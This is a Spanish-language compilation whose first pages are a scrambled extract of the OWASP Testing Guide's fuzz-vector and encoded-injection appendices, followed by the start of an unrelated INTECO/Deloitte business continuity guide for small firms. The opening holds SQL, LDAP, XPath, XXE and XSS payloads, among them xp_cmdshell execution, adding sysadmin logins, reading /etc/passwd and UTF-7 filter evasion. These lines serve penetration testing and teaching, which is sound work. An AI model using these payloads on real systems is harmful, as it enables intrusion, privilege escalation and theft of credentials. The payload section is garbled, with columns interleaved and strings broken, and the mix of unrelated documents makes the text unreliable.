Documento Pre-release cortesía de Fernando Vela para drangonjar.org 343

‘ OR ‘text’ > ‘t’

exec sp_addsrvrolemember ‘name’ , ‘sysadmin’

‘ OR ‘whatever’ in (‘whatever’)

INSERT INTO mysql.user (user, host, password) VALUES (‘name’, ‘localhost’, PASSWORD(‘pass123’))

‘ OR 2 BETWEEN 1 and 3 GRANT CONNECT TO name; GRANT RESOURCE TO name; ‘ or username like char(37); ‘ union select * from users where login = char(114,111,111,116);

INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)

‘ union select

+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

Password:*/=1-UNI/**/ON SEL/**/ECT

Inyección LDAP

‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’

para detalles de la inyección LDAP: Prueba de inyección LDAP

‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’)

|

‘/**/OR/**/1/**/=/**/1

!

‘ or 1/*

(

+or+isnull%281%2F0%29+%2F*

)

%27+OR+%277659%27%3D%277659

%28

%22+or+isnull%281%2F0%29+%2F*

%29

%27+--+&password=

&

‘; begin declare @var varchar(8000) set @var=’:’ @var=@var+’+login+’/’+password+’ ‘ from users where login >

select

%26 %21

@var select @var as var into temp end -%7C *| ‘ and 1 in (select var from temp)-%2A%7C ‘ union select 1,load_file(‘/etc/passwd’),1,1,1; *(|(mail=*)) 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; %2A%28%7C%28mail%3D%2A%29%29 ‘ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 Inyección SQL Activa (SQI) *()|%26’ ‘; exec master..xp_cmdshell ‘ping 10.10.1.2’-admin* CREATE USER name IDENTIFIED BY ‘pass123’ admin*)((|userPassword=*) CREATE USER name IDENTIFIED BY pass123 TABLESPACE temp DEFAULT TABLESPACE users;

TEMPORARY *)(uid=*))(|(uid=*

‘ ; drop table temp -exec sp_addlogin ‘name’ , ‘password’

Inyección XPATH

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 344

Para detalles de la Inyección XPATH: Prueba de inyección XPath ‘+or+’1’=’1 ‘+or+’’=’ x’+or+1=1+or+’x’=’y

otra lengua conocida) en bytes. Un ejemplo de un esquema de codificación de caracteres utilizado es el Código Estándar Americano para Intercambio de Información (ASCII) que utilizó inicialmente códigos de 7 bits. Ejemplos más recientes de los esquemas de codificación serían las normas estándar Unicode UTF-8 y UTF-16 de la industria de computación.

/ // //* */*

En el espacio de seguridad de la aplicación, y debido a la gran cantidad de esquemas de codificación disponibles, la codificación de caracteres tiene un mal uso popular. Está siendo utilizada para la codificación de secuencias de inyección maliciosas en una manera que las ofusca. Esto puede conducir a la desviación del ingreso de filtros de validación, o a sacar ventaja de las formas particulares en que los navegadores muestran el texto codificado.

@* count(/child::node()) x’+or+name()=’username’+or+’x’=’y

Inyección XML Los detalles de la Inyección XML están aquí: Prueba de inyección XML var n=0;while(true){n++;}]]> SCRIPT]]>alert(‘gotcha’);/SCRIPT]]> ]>&xee; ]>&xee;

Codificación de entrada - Evasión de filtro Las aplicaciones web suelen emplear diferentes tipos de mecanismos de filtro de entrada para limitar las entradas que pueden ser enviadas por el usuario. Si estos filtros de entrada no se aplican lo suficientemente bien, es posible deslizar uno o dos caracteres a través de estos filtros. Por ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras que el mismo carácter (/) se codifica como C0 AF en Unicode (secuencia 2 byte). Por lo tanto, es importante que el filtrado de control de entrada tenga en cuenta el esquema de codificación utilizado. Si se encuentra que el filtro está detectando sólo inyecciones codificadas UTF-8, se puede emplear un esquema de codificación diferente para evitar este filtro. Codificación de salida - Servidor y Navegador de Consenso Los navegadores web deben estar conscientes del esquema de codificación utilizado para mostrar coherentemente una página web. Idealmente, esta información debe ser proporcionada al navegador en el encabezado HTTP ("Content-Type"), como se muestra a continuación: Content-Type: text/html; charset=UTF-8

]>&xee;

o a través de la etiqueta HTML META (“META HTTP-E UIV”), como se muestra a continuación:

]>&xee;

<META http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1”>

Guía de pruebas de OWASP Apéndice D: Inyección codificada

Es a través de estas declaraciones de codificación de caracteres que el navegador comprende qué conjunto de caracteres utilizar para convertir los bytes a caracteres. Tenga en cuenta que el tipo de contenido mencionado en el encabezado HTTP tiene prioridad sobre la declaración de etiqueta META.

Antecedentes La codificación de caracteres es el proceso de mapeado de caracteres, números y otros símbolos a un formato estándar. Típicamente, esto se hace para crear un mensaje listo para su transmisión entre el emisor y el receptor. En términos simples, es la conversión de caracteres (que pertenecen a diferentes idiomas como el inglés, chino, griego o cualquier

CERT lo describe aquí de la siguiente forma: Muchas páginas web dejan la codificación de caracteres (parámetro "charset" en HTTP) como no definida. En versiones anteriores de HTML y

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 345

HTTP, se suponía que la codificación de caracteres era por defecto a la norma ISO-8859-1 si no se definía. De hecho, muchos navegadores tenían un valor predeterminado diferente, por lo que no era posible confiar en el valor por defecto si era ISO-8859-1. La versión 4 HTML legitima esto - si no se especifica la codificación de caracteres, cualquier codificación de caracteres puede ser utilizada.

Si el servidor web no especifica qué codificación de caracteres está en uso, no puede decir qué caracteres no especificados son especiales. Las páginas web con caracteres no especificados codifican la mayor parte del tiempo, porque la mayoría de los grupos de caracteres asignan los mismos caracteres a los valores de bytes por debajo de 128. Pero, ¿cuál de los valores por encima de 128 son especiales? Algunos esquemas de codificación de caracteres de 16 bits tienen representaciones de varios bytes adicionales para caracteres especiales como "<". Algunos navegadores reconocen esta codificación alternativa y actúan en consecuencia. Este es un comportamiento "correcto", pero hace que los ataques maliciosos mediante secuencias de comandos sean mucho más difíciles de prevenir. El servidor simplemente no sabe qué secuencias de bytes representan los caracteres especiales

Por lo tanto, en caso de no recibir información del carácter codificado desde el servidor, el navegador puede intentar "adivinar" el esquema de codificación o volver a un esquema predeterminado. En algunos casos, el usuario establece explícitamente la codificación por defecto en el navegador a un esquema diferente. Cualquier discrepancia o no coincidencia en el esquema de codificación utilizado por la página web (servidor) y el navegador, puede hacer que el navegador interprete la página de una manera inesperada o no deseada.

Inyecciones codificadas Todos los escenarios dados a continuación forman solamente un subconjunto de la ofuscación de las diversas maneras que se pueden dar para eludir los filtros de entrada. Además, el éxito de las inyecciones codificadas depende del navegador en uso. Por ejemplo, las inyecciones US-ASCII fueron previamente codificadas con éxito sólo en el navegador IE, pero no en Firefox. Por lo tanto, puede observarse que las inyecciones codificadas, en gran medida, dependen del navegador.

(Numeric reference)

Lo anterior utiliza entidades HTML para construir la cadena de inyección. La codificación de entidades HTML se utiliza para mostrar los caracteres que tienen un significado especial en HTML. Por ejemplo, '>' funciona como un paréntesis de cierre para una etiqueta HTML. Con el fin de mostrar en realidad este carácter en la página web de las entidades de caracteres HTML, éste debe ser insertado en la página del origen. Las inyecciones mencionadas anteriormente son una forma de codificación. Hay muchas otras formas en las que una cadena se puede codificar (ofuscar) con el fin de eludir el filtro anterior.

Codificación Hex Hex, abreviatura de hexadecimal, es un sistema de numeración en base a 16, es decir, que tiene 16 valores diferentes de 0 a 9 y de A a F para representar diversos caracteres. La codificación hexadecimal es otra forma de ofuscación que a veces se utiliza para eludir los filtros de validación de entrada. Por ejemplo, la versión hexagonal codificada de la cadena es



Una variación de la cadena anterior es la siguiente. Puede ser utilizada en caso de que '%' esté siendo filtrada:

Hay otros esquemas de codificación tales como Base64 y Octal que pueden ser utilizados para la ofuscación.

Codificación básica Considere un filtro básico de validación de entrada que protege contra la inyección de carácter de comilla simple. En este caso, la inyección que está a continuación evitaría fácilmente este filtro:

Aunque cada esquema de codificación no puede trabajar cada vez, un poco de ensayo y error, junto con manipulaciones inteligentes, sin duda revelarán la brecha en un filtro de validación de entrada que haya sido débilmente construido.

<SCRIPT>alert(String.fromCharCode(88,83,83)) La función String.fromCharCode Javascript toma los valores Unicode dados y devuelve la cadena correspondiente. Ésta es una de las formas más básicas de las inyecciones codificadas. Otro vector que puede ser utilizado para eludir este filtro es:

La codificación UTF-7 La codificación UTF-7 de <script> alert ( 'XSS'); es la siguienteUTF-7 Encoding



Documento Pre-release cortesía de Fernando Vela para drangonjar.org 346

+ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-

Para trabajar con la secuencia anterior de comandos, el navegador tiene que interpretar la página web como codificada en UTF-7.

Codificación Multi-byte La codificación de anchura variable es otro tipo de esquema de codificación de caracteres, que utiliza códigos de duración variable para codificar caracteres. La codificación de varios bytes es un tipo de anchura variable de codificación que utiliza un número variable de bytes para representar un carácter. La codificación multibyte se utiliza principalmente para codificar los caracteres que pertenecen a un gran conjunto de caracteres, por ejemplo, chino, japonés y coreano.

La codificación multibyte se ha utilizado en el pasado para eludir las funciones de validación de entrada estándar y para llevar a cabo este tipo de ataque y los ataques de inyección SQL.

Referencias

• http://en.wikipedia.org/wiki/Encode_(semiotics) • http://ha.ckers.org/xss.html • http://www.cert.org/tech_tips/malicious_code_mitigation.html • http://www.w3schools.com/HTML/html_entities.asp • http://www.iss.net/security_center/advice/Intrusions/ 2000639/default.htm • http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html • http://www.joelonsoftware.com/articles/Unicode.html

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 347

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

OBSERVATORIO DE LA SEGURIDAD DE LA INFORMACIÓN

Edición: Octubre 2010

El Instituto Nacional de Tecnologías de la Comunicación (INTECO), sociedad estatal adscrita al Ministerio de Industria, Turismo y Comercio a través de la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la Información, es una plataforma para el desarrollo de la Sociedad del Conocimiento a través de proyectos del ámbito de la innovación y la tecnología. La misión de INTECO es aportar valor e innovación a los ciudadanos, a las pymes, a las Administraciones Públicas y al sector de las tecnologías de la información, a través del desarrollo de proyectos que contribuyan a reforzar la confianza en los servicios de la Sociedad de la Información en nuestro país, promoviendo además una línea de participación internacional. Para ello, INTECO desarrollará actuaciones, al menos, en líneas estratégicas de Seguridad Tecnológica, Accesibilidad, Calidad TIC y Formación. El Observatorio de la Seguridad de la Información (http://observatorio.inteco.es) se inserta dentro de la línea estratégica de actuación de INTECO en materia de Seguridad Tecnológica, siendo un referente nacional e internacional al servicio de los ciudadanos, empresas, y administraciones españolas para describir, analizar, asesorar y difundir la cultura de la seguridad y la confianza de la Sociedad de la Información. Datos de contacto: Instituto Nacional de Tecnologías de la Comunicación (INTECO) Observatorio de la Seguridad de la Información Avda. José Aguado, 41. Edificio INTECO. 24005 León Teléfono: +(34) 987 877 189 / Email: [email protected] www.inteco.es

Deloitte presta servicios de auditoría, asesoramiento fiscal y legal, consultoría y asesoramiento en transacciones corporativas a entidades que operan en un elevado número de sectores de actividad. La firma aporta su experiencia y alto nivel profesional ayudando a sus clientes a alcanzar sus objetivos empresariales en cualquier lugar del mundo. Para ello cuenta con el apoyo de una red global de firmas miembro presentes en más de 140 países y con más de 168.000 profesionales que han asumido el compromiso de ser modelo de excelencia. Deloitte cuenta con un grupo encargado de realizar servicios correspondientes a la gestión del riesgo informático que se denomina Enterprise Risk Services (ERS). Este grupo está formado por cerca de 200 profesionales, 7 socios en España y varios miles de especialistas a nivel mundial, dedicados exclusivamente a servicios de auditoría informática, seguridad informática, identificación y gestión de los riesgos de las operaciones asociados a los sistemas de información, así como a servicios enfocados a mantener el nivel de control interno requerido en la utilización de la tecnología. Como parte de la estrategia de diferenciación en los servicios prestados, debemos destacar la cualificación de su equipo de profesionales, quienes atesoran más de 300 certificaciones en materia de seguridad de la información, continuidad de las operaciones y auditoría informática. Datos de contacto: Deloitte Plaza Pablo Ruíz Picasso, 1. Torre Picasso. 28020 Madrid Teléfono: +(34) 915 14 50 00 Fax: + (34) 915 14 51 80 Si desea información adicional, por favor, visite www.deloitte.es Depósito Legal: LE-1496-2010 Imprime: gráficas CELARAYN, s.a.

Índice 1. ¿A quién va dirigida?

7

2. ¿Por qué es importante la continuidad?

9

3. ¿Cuál es la utilidad de esta guía?

10

4. ¿Por qué es necesario adoptar un plan de Continuidad de Negocio? 12 5. ¿Por dónde empezar?

15

6. Estructura de la guía

19

7.

Fase I: Diseño del plan y establecimiento de la política de Continuidad de Negocio

21

8. Fase II: Conocimiento de los procesos de negocio de la organización y análisis de riesgos

26

9. Fase III: Medidas preventivas

42

10. Fase IV: Estrategias de recuperación

46

11. Fase V: Desarrollo e implantación del plan

53

12. Fase VI: Mantenimiento del plan

62

13. ¿Qué debo recordar?

68

14. Más información

69

15. Anexo I: Glosario

72

(5

1.

¿A quién va dirigida?

Los principios de esta guía, si bien están dirigidos especialmente a la pequeña y mediana empresa española, así como a los profesionales autónomos, son aplicables a cualquier empresa española, sin importar el sector, la actividad, la ubicación geográfica, la posible dispersión en múltiples sedes ni el tamaño de la entidad. Posteriormente el tiempo, el esfuerzo y el presupuesto son los parámetros que diferirán ampliamente en función del tamaño de la empresa. De forma más concreta, la intención de esta guía es que sea explotada por aquel al que le ha sido encomendada la responsabilidad de ejecutar las medidas orientadas a garantizar la continuidad de sus actividades de negocio (ya sea el área de tecnología y sistemas, el área de auditoría o gestión de riesgos, o incluso personal al que se le encarga la gestión sin tener conocimientos previos). Las razones por las que esta guía va dirigida principalmente a la PYME española son varias: • Según el Directorio Central de Empresas (DIRCE) de 2009, más del 99% del tejido empresarial español está constituido por pequeñas empresas (las microempresas constituyen el 94,8% y las pequeñas el 4,4%), lo que constituye el motor principal de la economía y de la producción en España. • El grado de implantación de planes de continuidad de negocio en las pequeñas y medianas empresas españolas es notablemente inferior si se compara con las grandes empresas. Todas las empresas españolas, independientemente de su sector de actividad, son conscientes de la importancia de aplicar este tipo de planes, pero principalmente las grandes disponen de recursos técnicos, económicos y humanos necesarios para convertir esta necesidad en una realidad tangible.

¿A quién va dirigida?

(7

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• A partir de los estudios realizados por INTECO sobre seguridad de la información en el ámbito de la empresa, se evidencian lagunas en el conocimiento y una falta de recursos en la PYME española en materia de continuidad de negocio.

8)

¿A quién va dirigida?

2.

¿Por qué es importante la continuidad?

La competitividad creciente entre las organizaciones empresariales, las demandas cada vez más exigentes de clientes y stakeholders, o los requerimientos regulatorios cada vez más restrictivos, son factores que hoy en día fuerzan a las empresas a demostrar la resistencia de las actividades de negocio a permanecer activas ante cualquier contingencia grave. Una caída de la luz, una inundación, un incendio o un robo han de considerarse amenazas reales que deben ser tratadas de forma preventiva para evitar, en caso de que éstas sucedan, que las pérdidas sean tan graves que afecten a la viabilidad del negocio. Son múltiples las organizaciones que, independientemente de su tamaño, fracasan o incluso desaparecen por la falta de procesos, mecanismos y técnicas que mitiguen los riesgos a los que están expuestas y garanticen una alta disponibilidad en las operaciones de su negocio. De este modo, es necesario que las organizaciones establezcan una serie de medidas técnicas, organizativas y procedimentales que garanticen la continuidad de las actividades o procesos de negocio en caso de tener que afrontar una contingencia grave. Uno de los principales inconvenientes o barreras a las que se enfrenta una organización cuando decide abordar cualquier tipo de iniciativa relacionada con la continuidad de negocio es la falta de conocimiento y de instrucciones claras y concisas que detallen por dónde empezar y qué aspectos deben tenerse en cuenta para garantizar el éxito.

Esta guía trata de salvar estos niveles de desorientación a través de un marco de actuación para aquellas organizaciones que deseen entender y abordar los principios y las prácticas de continuidad de negocio de una forma integral (desde el momento inicial en el que se reconoce la necesidad de desarrollar un programa o estrategia de continuidad, hasta su mantenimiento y actualización constante).

¿Por qué es importante la continuidad?

(9

3.

¿Cuál es la utilidad de esta guía?

Esta guía tiene el objetivo de identificar y explicar de forma desglosada las actividades necesarias para diseñar, implantar y mantener un Plan de Continuidad de Negocio, proporcionando, siempre que sea posible, gráficos, ejemplos ajustados a las necesidades reales de la pequeña y mediana empresa española y experiencias de casos de éxito con los que compararse. Así, se pretende que la organización asimile y entienda cada una de las fases y tareas que componen dicho Plan. Si bien existen multitud de manuales, estándares y recomendaciones que tratan de guiar a las organizaciones a adoptar estrategias de continuidad de negocio, la mayoría de ellas son teóricas, expresadas con un lenguaje formal, y no tienen en cuenta la situación, la problemática, las necesidades reales o los niveles de conocimiento por parte de este tipo de organizaciones. INTECO ha tratado de cubrir estas deficiencias a lo largo del diseño y elaboración de esta guía, teniendo en cuenta la situación actual de la PYME española desde el punto de vista de la tecnología y la seguridad de la información, las principales barreras a las que se enfrentan cuando deciden abordar planes de continuidad de negocio, así como los principales errores en los que suelen incurrir en la citada materia. El resultado es un documento en el que se expone de forma clara y sencilla los aspectos a considerar y las actividades a desarrollar por cualquier organización que desee estar preparada ante posibles incidencias de seguridad que puedan paralizar la entrega de sus productos y/o servicios.

10 )

¿Cuál es la utilidad de esta guía?

Esta guía nace para que la pequeña y mediana empresa española (PYME) se familiarice con la continuidad de negocio y comprenda por qué es necesario tener planes preventivos orientados a garantizar la continuidad de sus operaciones ante una situación de contingencia, qué aspectos tiene que tener en cuenta para el desarrollo de su estrategia de continuidad y qué beneficios proporciona disponer del mismo.

Del mismo modo, la guía pretende resaltar y concienciar a las organizaciones acerca de la importancia crítica que tiene asegurar la continuidad de sus operaciones, así como la necesidad de hacer frente de forma proactiva a incidentes graves de seguridad. Esta guía no es en absoluto un conjunto de requerimientos específicos, sino que, basándose en la experiencia, expone buenas prácticas y recomendaciones acerca de las fases y actividades que conviene adoptar.

¿Cuál es la utilidad de esta guía?

( 11

4.

¿Por qué es necesario adoptar un plan de continuidad de negocio?

Los recientes acontecimientos prueban que las organizaciones no pueden estar preparadas para todos y cada uno de los eventos adversos que pueden sucederles y que pueden impactar en sus actividades de negocio. El fallo de la red eléctrica de Barcelona en julio de 2007 que impactó en servicios críticos como sanidad y transporte, el incendio del edificio Windsor en Madrid en el año 2005, el atentado terrorista de las Torres Gemelas en el 2001, e incluso caídas de los servicios de telefonía y ADSL en los correspondientes operadores son ejemplos de sucesos de gravedad crítica que afectan a las organizaciones, a los gobiernos y a los ciudadanos. Cada año son millones las organizaciones que padecen inundaciones, incendios, ataques terroristas, actos vandálicos y otras amenazas. Las compañías que logran superar estos traumas son las previsoras, las que están preparadas para enfrentarse a lo peor, las que estiman los posibles daños que pueden sufrir y ponen en marcha las medidas necesarias para protegerse. Toda organización depende de sus recursos, del personal y de las tareas que día a día son ejecutadas con el fin de mantener los beneficios y la estabilidad. La mayoría posee bienes tangibles, empleados, sistemas y tecnologías de información, etc. Si alguno de estos componentes es dañado o deja de estar accesible por la razón que sea, la organización puede paralizarse. Cuanto mayor sea el tiempo de inactividad, mayor es la probabilidad de que tenga que comenzar de nuevo desde cero. Incluso muchas organizaciones no son capaces de recuperarse después de ser víctima de algún desastre. Adicionalmente, en ocasiones existe la percepción errónea de interpretar como una falta de confianza o una señal de debilidad el hecho de que una organización anticipe que algún componente de su actividad de negocio puede fallar. Nada más lejos de la realidad.

12 )

¿Por qué es necesario adoptar un plan de continuidad de negocio?

La adopción de una estrategia de continuidad constituye un ejercicio de responsabilidad y predisposición a anticiparse a cualquier tipo de evento adverso que haga peligrar el negocio.

Aparte de prevenir o minimizar las pérdidas para el negocio que un desastre puede causar, el objetivo principal de cualquier programa orientado a gestionar la continuidad de negocio de una organización es garantizar que ésta dispone de una respuesta planificada ante cualquier trastorno importante que puede poner en peligro su supervivencia. Esta afirmación de por sí constituye un argumento irrefutable que explica la necesidad de instaurar en todas las compañías tales estrategias, independientemente de su tamaño y/o sector de actividad. Además puede aportar otros beneficios:

• Ventaja competitiva frente a otras organizaciones: el hecho de mostrar que se toman medidas para garantizar la continuidad de negocio mejora la imagen pública de la organización y revaloriza la confianza frente a accionistas, inversores, clientes y proveedores.

¿Por qué es necesario adoptar un plan de continuidad de negocio?

( 13

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Por otra parte, el retorno de la inversión (ROI) en aspectos de continuidad es más perceptible en términos de reputación e imagen pública. • Gestión preventiva de los riesgos: a través de la gestión de la continuidad, una organización es capaz de abordar la gestión proactiva de amenazas y riesgos que pueden impactar en sus operaciones. • Previene o minimiza las pérdidas de la organización en caso de desastre: es capaz de identificar de forma proactiva los posibles impactos e inconvenientes que una interrupción de sus actividades de negocio puede provocar. • Asegura la “resiliencia” de las actividades de negocio ante interrupciones, aumentando la disponibilidad de los servicios dispuestos para el cliente. • Menor riesgo de sufrir sanciones económicas al adaptarse a requerimientos regulatorios: para algunos sectores de actividad (como por ejemplo la normativa MiFID para las compañías de actividades y servicios de inversión para particulares ubicadas en los estados miembros de la Unión Europea, o el programa para la Protección de las Infraestructuras Críticas impulsado por la Comisión Europea), la adopción de planes de continuidad de negocio es un requerimiento regulatorio que debe ser satisfecho. El cumplimiento de tal requerimiento evita el riesgo de sufrir sanciones económicas. • Asignación más eficiente de las inversiones en materia de seguridad: tal y como se detalla en la presente guía, todo plan de continuidad de negocio está diseñado conforme a un proceso previo de análisis de riesgos, el cual permite priorizar los mismos y fijar los esfuerzos y los presupuestos en las áreas más necesitadas.

14 )

¿Por qué es necesario adoptar un plan de continuidad de negocio?

5.

¿Por dónde empezar?

Como paso previo al proceso formal de desarrollar e implantar un plan de continuidad de negocio, toda organización debe tener en consideración 6 aspectos claves que son descritos a continuación: Tiempo y recursos: toda estrategia para abordar la implantación de un Plan de Continuidad de Negocio requiere de tiempo y recursos (humanos, económicos e incluso tecnológicos). Dicho requerimiento convierte a las direcciones de las organizaciones en un componente clave para apoyar la gestión de continuidad y dotar de tales recursos a la organización. Implicación y compromiso de la dirección: reforzando el punto anterior, la dirección, como ente que toma las decisiones y proporciona los fondos necesarios, debe ser concienciada y debe estar convencida de la necesidad de este tipo de planes. Esta misión de concienciación a menudo resulta un proceso complejo por varias razones: los canales de comunicación con la dirección no siempre son fluidos, el lenguaje empleado en términos de “riesgo”, “impacto”, “vulnerabilidad” y otros conceptos relacionados con la seguridad y las tecnologías de la información puede no ser el idóneo para que sea entendido y asimilado por la dirección. Para conseguir el citado apoyo de la dirección, es necesario dirigirse a la misma en términos más tangibles y de negocio como son los costes de implantar los planes de continuidad y los beneficios que éstos proporcionan. Otro aspecto útil en este sentido es el cálculo del coste de la interrupción de un proceso de negocio en términos financieros, el cual dependerá de varios factores como la pérdida de ingresos durante la interrupción, la disminución de la productividad del trabajador e incluso la pérdida de imagen y reputación de la organización.

¿Por dónde empezar?

( 15

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Así por ejemplo, el citado cálculo para una entidad cuya actividad principal es la comercialización y venta de bienes por Internet debería contemplar: el número de interrupciones que puede tener en un año, el tiempo (por ejemplo, en horas) que no va a poder dar servicios y el coste por hora que conlleva la interrupción de su actividad: Coste de la interrupción al año: 3 interrupciones x 1,5 horas x 2.000 €/h= 9.000 €. De esta forma, la dirección tendrá información más tangible que le permitirá entender qué riesgos está asumiendo y evaluar si es necesario abordar un plan de continuidad de negocio. Conocer la organización es necesario y crítico: los procesos de negocio, el apoyo de los mismos en las Tecnologías de la Información (TI), el conocimiento de personas clave para la organización, los productos y servicios, la estrategia de negocio o las metas de la organización, los procesos internos, etc. Toda organización debe conocer cuál es su ámbito de negocio y los procesos que le permiten desarrollar su actividad. La esperanza de que una organización recupere sus actividades tras un desastre es nula si no dispone previamente de un buen conocimiento acerca de cómo funciona. Ante esta afirmación, es frecuente la postura de muchas organizaciones al pensar que “obviamente, una compañía conoce cómo funciona”. Pero si se analiza este asunto detenidamente, muchas de ellas se sorprenderían de lo verdaderamente complicado que resulta entender y asimilar su funcionamiento al nivel de detalle que es requerido para poder reconstruir sus actividades en caso de que sea necesario. Cada miembro de la plantilla conoce sus funciones y sus responsabilidades al detalle, aunque si se tiene en cuenta que cada actividad de negocio está constituida por infor-

16 )

¿Por dónde empezar?

mación, funciones, redes, personas, tiempo, interdependencias, etc., difícilmente se puede identificar a alguien que sea capaz de explicar todos y cada uno de los procesos de negocio de su organización. Definir el alcance: un paso clave que una organización debe abordar cuando decide impulsar un plan de continuidad de negocio es decidir acerca del alcance del mismo. En ocasiones el plan de continuidad exigido es demasiado extenso si se aplica a toda la organización, y termina fracasando. Por ello, es importante determinar qué áreas, procesos de negocio o productos/servicios de la organización serán incluidos en el plan. Incluso en los casos en los que la organización tenga varias sedes, será necesario establecer un alcance geográfico. En este sentido, algunas preguntas que deben contemplarse cuando la organización trata de determinar el alcance de su estrategia de continuidad son: • ¿Cuáles son las actividades más importantes y críticas de la compañía? • Desde el punto de vista financiero, operativo, legal o asociado a la imagen de la compañía, ¿qué impacto tendría una interrupción los servicios o de los procesos de la empresa? • ¿Durante cuánto tiempo puedo permitirme que la entrega de mis productos o servicios esté interrumpida? Colaboración de las áreas que componen la empresa: un plan de continuidad de negocio impacta y necesita del apoyo y la colaboración de las diferentes áreas de la organización: los proyectos de continuidad de negocio tienen que contar con enfoques no solo tecnológicos, sino también de negocio (relación con proveedores de servicio, recursos humanos, atención al cliente, recursos financieros, recurso logísticos, etc.).

¿Por dónde empezar?

( 17

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Plantearse la necesidad de asesoramiento externo: conocer si es necesario disponer o no de ayuda especializada y saber dónde encontrarla, ya que muchos de los problemas a los que se tiene que enfrentar una organización para implantar su plan de continuidad de negocio ya han sido analizados y solucionados por otras empresas previamente.

18 )

¿Por dónde empezar?

6.

Estructura de la guía

A continuación se presentan las fases que deben ser abordadas en toda gestión de continuidad de negocio: FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

• Fase I. Diseño del Plan y establecimiento de la Política de Continuidad de Negocio: comprende la identificación de las actividades que deben ser realizadas de forma previa para comenzar el proceso de desarrollo e implantación del Plan de Continuidad. • Fase II. Conocimiento de los procesos de negocio de la organización y análisis de riesgos que impactan en las actividades de negocio: con el fin de identificar los productos y servicios clave de la PYME, los recursos clave que soportan estas actividades y los riesgos a los que está expuesta. • Fase III. Medidas preventivas: esta fase plantea la posibilidad de aplicar medidas de seguridad preventivas y proactivas con la intención, en la medida de lo posible, de evitar o gestionar los incidentes graves, sin necesidad de activar el plan de continuidad de negocio a no ser que sea estrictamente necesario. • Fase IV. Estrategia de recuperación: considerando que no todas las actividades de negocio tienen las mismas prioridades de recuperación, esta fase establece los objetivos y las prioridades de recuperación en función de los riesgos que impactan en las operaciones de negocio. • Fase V. Desarrollo e implantación del Plan: conjunto de prácticas, procedimientos a seguir y tecnologías para la recuperación de

Estructura de la guía

( 19

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

las operaciones críticas después de producirse un desastre. Dichos procedimientos deben soportar las estrategias de recuperación previamente seleccionadas. • Fase VI. Mantenimiento del Plan: teniendo en cuenta que todo Plan de Continuidad de Negocio debe ser difundido, revisado, actualizado y probado regularmente, esta fase describe acciones de difusión y formación del Plan, así como las pruebas y el proceso de mejora continua del mismo.

20 )

Estructura de la guía

7.

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

7.1. OBJETIVOS En esta fase, y tras haber obtenido el soporte y las inversiones necesarias, la empresa que decide abordar un plan continuidad de negocio debe averiguar qué se va a hacer y por qué.

7.2. TAREAS

7.2.1.

DESIGNAR UN COORDINADOR DE CONTINUIDAD DE NEGOCIO

Una tarea clave de esta fase es designar un coordinador/líder que se encargará de gestionar y supervisar el proceso de elaboración e implantación del plan de continuidad de negocio.

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

( 21

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

E incluso, si la inversión lo permite y en función del tamaño de la organización y el alcance del plan, es recomendable asignar personal adicional y constituir un equipo de continuidad de negocio. El coordinador o el equipo deben trabajar con la dirección para identificar el alcance y los objetivos que persigue el plan, así como las actividades de negocio que son críticas en la organización. Adicionalmente, el perfil o perfiles de las figuras encargadas de la gestión de la continuidad de negocio en una PYME no tiene que estar forzosamente localizado en las áreas de tecnología y sistemas (tal y como muchas organizaciones asumen y derivado de la idea perenne de que los procesos de continuidad de negocio están constituidos principalmente por componentes tecnológicos). 7.2.2.

ELABORAR LA POLÍTICA DE CONTINUIDAD DE NEGOCIO

En paralelo, y con el fin de formalizar un marco de actuación que determine los objetivos, y el alcance (actividades de negocio incluidas) del plan, así como las funciones y responsabilidades del mismo, debe elaborarse la política de continuidad de la organización. Normalmente es la figura citada en el apartado anterior el encargado de diseñar y elaborar esta política. Generalmente la citada política es entendida como un documento sencillo, claro y conciso que establece a alto nivel (estratégico) los objetivos, el alcance y las responsabilidades en la gestión de la continuidad de negocio en la organización. A continuación se muestra un ejemplo de plantilla de una Política de Continuidad de Negocio que permite conocer con más exactitud el enfoque que con frecuencia es aplicado a la elaboración de la misma:

22 )

Fase I: Diseño del plan y establecimiento de la política de continuidad de negocio

